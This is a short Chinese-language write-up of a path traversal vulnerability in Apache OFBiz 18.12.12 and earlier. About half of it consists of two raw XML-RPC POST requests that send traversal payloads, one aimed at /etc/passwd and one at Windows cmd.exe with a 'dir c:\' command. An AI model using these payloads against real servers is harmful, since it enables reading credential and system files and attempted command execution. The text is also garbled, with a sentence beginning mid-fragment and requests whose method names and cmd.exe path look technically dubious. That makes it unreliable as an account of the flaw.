在 Apache OFBiz 18.12.12 及之前版本中发现了一个被归类为严重的漏洞。该问题影响的是一个未知功能。通过对未知输入的操作导致了路径遍历漏洞。产品使用外部输入来构造路径名,该路径名旨在标识受限制父目录下的文件或目录,但产品未能正确中和路径名中的特殊元素,这些元素可能导致路径名解析到受限制目录之外的位置。受影响的是机密性、完整性和可用性。
../../../../../../etc/passwd 来指向Apache OFBiz服务器上的 etc/passwd 文件。etc/passwd 文件,该文件包含服务器上用户的敏感信息。POST /webtools/control/xmlrpc HTTP/1.1
Host: vulnerable-host.com
Content-Type: text/xml
<?xml version="1.0"?>
<methodCall>
<methodName>performCommand</methodName>
<params>
<param>
<value><string>../../../../../../windows/system32/cmd.exe?/c+dir+c:\</string></value>
</param>
</params>
</methodCall>
POST /webtools/control/xmlrpc HTTP/1.1
Host: vulnerable-host.com
Content-Type: text/xml
<?xml version="1.0"?>
<methodCall>
<methodName>example.createBlogPost</methodName>
<params>
<param>
<value><string>../../../../../../etc/passwd</string></value>
</param>
</params>
</methodCall>